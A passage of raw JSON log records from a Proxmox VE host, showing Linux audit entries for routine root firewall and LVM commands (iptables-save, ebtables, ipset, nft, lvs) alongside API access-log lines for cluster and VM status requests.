euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965357606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781964495825,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.825:61255): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966106011,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.011:68456): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964715735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.735:62278): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe3e93f910 a1=557eca379410 a2=557eca357680 a3=5 items=1 ppid=59725 pid=59726 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965392850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965392.850:65411): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.057:59565): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.044:68464): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d620 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965356565,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964495820,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.820:61254): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966106002,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.002:68455): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964715388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.388:62270): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965392850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965392.850:65410): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.051:59564): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9fc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.039:68463): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0edf80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965356565,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495813,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.813:61253): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966105993,"@rawstring":"node=pve type=EXECVE msg=audit(1781966105.993:68454): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964715388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.388:62269): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965392842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965392.842:65408): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.044:59563): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106032,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.032:68462): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965356565,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964494823,"@rawstring":"node=pve type=EXECVE msg=audit(1781964494.823:61252): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966105987,"@rawstring":"node=pve type=EXECVE msg=audit(1781966105.987:68453): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964715381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.381:62267): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965392842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965392.842:65407): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.036:59562): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.024:68461): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965356565,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964494793,"@rawstring":"node=pve type=EXECVE msg=audit(1781964494.793:61251): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966105979,"@rawstring":"node=pve type=EXECVE msg=audit(1781966105.979:68452): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964715381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.381:62266): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965387836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965387.836:65405): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096032,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.032:59561): arch=c000003e syscall=59 success=yes exit=0 a0=5cbc072e7d70 a1=5cbc072f3f40 a2=5cbc072c1680 a3=5 items=2 ppid=57195 pid=57201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.020:68460): arch=c000003e syscall=59 success=yes exit=0 a0=60d855738b60 a1=60d855744e80 a2=60d855712680 a3=5 items=2 ppid=65738 pid=65744 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965354555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=EXECVE msg=audit(1781964494.586:61250): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966105969,"@rawstring":"node=pve type=EXECVE msg=audit(1781966105.969:68451): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964710373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964710.373:62262): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965387835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965387.835:65404): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.029:59560): arch=c000003e syscall=59 success=yes exit=0 a0=5cbbfd189ac8 a1=7fff5b3cbf60 a2=5cbc072c1680 a3=5cbbfd16d24e items=2 ppid=57195 pid=57197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.017:68459): arch=c000003e syscall=59 success=yes exit=0 a0=60d815c4eac8 a1=7ffc0549b870 a2=60d855712680 a3=60d815c3224e items=2 ppid=65738 pid=65740 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965354555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=EXECVE msg=audit(1781964494.575:61247): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966105409,"@rawstring":"node=pve type=EXECVE msg=audit(1781966105.409:68450): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964710373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964710.373:62261): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965387829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965387.829:65402): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.027:59559): arch=c000003e syscall=59 success=yes exit=0 a0=7fff5b3cbf20 a1=5cbc072e3410 a2=5cbc072c1680 a3=5 items=2 ppid=57195 pid=57196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.016:68458): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc0549b830 a1=60d855734200 a2=60d855712680 a3=5 items=2 ppid=65738 pid=65739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965354555,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=EXECVE msg=audit(1781964489.567:61244): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966105402,"@rawstring":"node=pve type=EXECVE msg=audit(1781966105.402:68447): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964710359,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964710.359:62259): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965387829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965387.829:65401): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.019:59557): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.011:68456): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65738 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964489558,"@rawstring":"node=pve type=EXECVE msg=audit(1781964489.558:61241): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966104836,"@rawstring":"node=pve type=EXECVE msg=audit(1781966104.836:68444): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964710359,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964710.359:62258): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965386.046:65396): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc5c793470 a1=5c0daebcf1c0 a2=5c0daebad680 a3=5 items=1 ppid=62818 pid=62819 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.013:59556): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106002,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.002:68455): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65737 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781964485803,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.803:61238): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966104810,"@rawstring":"node=pve type=EXECVE msg=audit(1781966104.810:68443): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964705687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.687:62254): arch=c000003e syscall=59 success=no exit=-2 a0=7ffce5ac6740 a1=649a781083d0 a2=649a780e6680 a3=5 items=1 ppid=59705 pid=59706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965385.959:65378): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdb06b0cf0 a1=604a4f0a7200 a2=604a4f085680 a3=5 items=1 ppid=62799 pid=62800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.005:59555): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966105993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.993:68454): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964485800,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.800:61237): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966100392,"@rawstring":"node=pve type=EXECVE msg=audit(1781966100.392:68442): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964705604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.604:62236): arch=c000003e syscall=59 success=no exit=-2 a0=7fffb6dbe670 a1=5af97d23a310 a2=5af97d233680 a3=5 items=1 ppid=59686 pid=59687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965382.821:65368): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62788 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.000:59554): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c1b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966105987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966105.987:68453): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964485799,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.799:61236): argc=1 a0=\"date\""} {"@timestamp":1781966100383,"@rawstring":"node=pve type=EXECVE msg=audit(1781966100.383:68439): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964705352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964705.352:62228): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 